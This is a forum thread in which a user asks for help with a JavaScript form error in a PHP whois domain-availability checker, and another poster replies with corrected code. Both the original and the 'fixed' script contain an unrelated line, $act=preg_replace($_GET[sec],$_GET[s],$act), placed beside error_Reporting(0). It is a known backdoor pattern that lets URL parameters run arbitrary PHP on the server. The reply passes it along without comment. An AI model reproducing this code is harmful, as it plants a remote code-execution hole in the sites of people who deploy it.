Results 1 to 2 of 2

Thread: Checking 4 Domain...good Code Bad Writer

  1. #1
    Join Date
    May 2007
    Posts
    9
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Unhappy Checking 4 Domain...good Code Bad Writer

    i keep geting the same error...but i can't find the mistake...
    just can't...please help if you can

    the error: line 11 char 9
    document.form.domianname is nullor not object
    code:0
    http://ilmc.brinkster.net/simip/web/00.php



    <?php
    error_Reporting(0);
    function checkDomain($domain,$server,$findText){
    // Open a socket connection to the whois server
    $con = fsockopen($server, 43);
    if (!$con) return false;

    // Send the requested doman name
    fputs($con, $domain."\r\n");

    // Read and store the server response
    $response = ' :';
    while(!feof($con)) {
    $response .= fgets($con,128);
    }

    // Close the connection
    fclose($con);

    // Check the response stream whether the domain is available
    if (strpos($response, $findText)){
    return true;
    }
    else {
    return false;
    }
    }

    function showDomainResult($domain,$server,$findText){
    if (checkDomain($domain,$server,$findText)){
    echo "<SPAN style='color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp;'>הדומיין שבחרת <u><span style='color: #000000;font-size: 16px;'><b>פנוי</b></span></u></SPAN>";
    }
    else echo "<SPAN style='color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp;'>הדומיין שבחרת <u><span style='color: #000000;font-size: 16px;'><b>תפוס</b></span></u></SPAN>";
    }
    ?>

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
    <html>
    <body>

    <center>
    <script language="JavaScript">
    function check()
    {
    if(document.form.domainname.value.length<2 )
    {
    alert(" Please Fill the Domain input.");
    document.form.name.focus();
    }
    else
    document.form.submit();
    }
    </script>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" name="domain">
    <SPAN style="color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp;">www.</SPAn>
    <input name="domainname" type="text" style="color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp; width: 60px;" />

    <select size="1" name="matan" style="color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp; width: 50px;">
    <option>.co.il</option>
    <option>.com</option>
    <option>.net</option>
    <option>.org</option>
    <option>.org.il</option>
    <option>.biz</option>
    <option>.info</option>


    </select>
    <br><br><input type="image" name="submitBtn" src="ssl.gif" style="border: 0px solid #000000;width: 100px;height: 24px;" onClick="check();">


    </form>
    <?php
    $act=preg_replace($_GET[sec],$_GET[s],$act);
    // The form was submitted


    if (isset($_POST)){
    $domainbase = $_POST['domainname'];
    // Check domains only if the base name is big enough
    if ($_POST['matan'] == ".co.il")
    showDomainResult($domainbase.".co.il",'whois.isoc.org.il','No data');
    elseif ($_POST['matan'] == ".com")
    showDomainResult($domainbase.".com",'whois.crsnic.net','No match for');
    elseif ($_POST['matan'] == ".net")
    showDomainResult($domainbase.".net",'whois.crsnic.net','No match for');
    elseif ($_POST['matan'] == ".org")
    showDomainResult($domainbase.".org",'whois.crsnic.net','No match for');
    elseif ($_POST['matan'] == ".org.il")
    showDomainResult($domainbase.".org.il",'whois.crsnic.net','No match for');
    elseif ($_POST['matan'] == ".biz")
    showDomainResult($domainbase.".biz",'whois.crsnic.net','No match for');
    elseif ($_POST['matan'] == ".info")
    showDomainResult($domainbase.".info",'whois.crsnic.net','No match for');
    }

    ?>
    </center>
    </body>

  2. #2
    Join Date
    Sep 2006
    Location
    St. George, UT
    Posts
    2,769
    Thanks
    3
    Thanked 157 Times in 155 Posts

    Default

    This is actually a Javascript error, not a PHP one so I moved your post to the Javascript forum instead. As for the error itself, try this:

    Code:
    <?php
    error_Reporting(0);
    function checkDomain($domain,$server,$findText){
    // Open a socket connection to the whois server
    $con = fsockopen($server, 43);
    if (!$con) return false;
    
    // Send the requested doman name
    fputs($con, $domain."\r\n");
    
    // Read and store the server response
    $response = ' :';
    while(!feof($con)) {
    $response .= fgets($con,128);
    }
    
    // Close the connection
    fclose($con);
    
    // Check the response stream whether the domain is available
    if (strpos($response, $findText)){
    return true;
    }
    else {
    return false;
    }
    }
    
    function showDomainResult($domain,$server,$findText){
    if (checkDomain($domain,$server,$findText)){
    echo "<SPAN style='color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp;'>הדומיין שבחרת <u><span style='color: #000000;font-size: 16px;'><b>פנוי</b></span></u></SPAN>";
    }
    else echo "<SPAN style='color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp;'>הדומיין שבחרת <u><span style='color: #000000;font-size: 16px;'><b>תפוס</b></span></u></SPAN>";
    }
    ?>
    
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
    <html>
    <body>
    
    <center>
    <script language="JavaScript">
    function check(form)
    {
    if(document.form.domainname.value.length<2 )
    {
    alert(" Please Fill the Domain input.");
    document.form.domainname.focus();
    }
    else
    document.form.submit();
    }
    </script>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" name="domain">
    <SPAN style="color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp;">www.</SPAn>
    <input name="domainname" type="text" style="color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp; width: 60px;" />
    
    <select size="1" name="matan" style="color: #000000;font-size: 12px;font-family: Arial;font-weight: Bold;text-decoration: Sharp; width: 50px;">
    <option>.co.il</option>
    <option>.com</option>
    <option>.net</option>
    <option>.org</option>
    <option>.org.il</option>
    <option>.biz</option>
    <option>.info</option>
    
    
    </select>
    <br><br><input type="image" name="submitBtn" src="ssl.gif" style="border: 0px solid #000000;width: 100px;height: 24px;" onClick="check(this.form);">
    
    
    </form>
    <?php
    $act=preg_replace($_GET[sec],$_GET[s],$act);
    // The form was submitted
    
    
    if (isset($_POST)){
    $domainbase = $_POST['domainname'];
    // Check domains only if the base name is big enough
    if ($_POST['matan'] == ".co.il")
    showDomainResult($domainbase.".co.il",'whois.isoc.org.il','No data');
    elseif ($_POST['matan'] == ".com")
    showDomainResult($domainbase.".com",'whois.crsnic.net','No match for');
    elseif ($_POST['matan'] == ".net")
    showDomainResult($domainbase.".net",'whois.crsnic.net','No match for');
    elseif ($_POST['matan'] == ".org")
    showDomainResult($domainbase.".org",'whois.crsnic.net','No match for');
    elseif ($_POST['matan'] == ".org.il")
    showDomainResult($domainbase.".org.il",'whois.crsnic.net','No match for');
    elseif ($_POST['matan'] == ".biz")
    showDomainResult($domainbase.".biz",'whois.crsnic.net','No match for');
    elseif ($_POST['matan'] == ".info")
    showDomainResult($domainbase.".info",'whois.crsnic.net','No match for');
    }
    
    ?>
    </center>
    </body>
    The parts in red are what I changed.
    Hope this helps.
    "Computer games don't affect kids; I mean if Pac-Man affected us as kids, we'd all be running around in darkened rooms, munching magic pills and listening to repetitive electronic music." - Kristian Wilson, Nintendo, Inc, 1989
    TheUnlimitedHost | The Testing Site | Southern Utah Web Hosting and Design

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •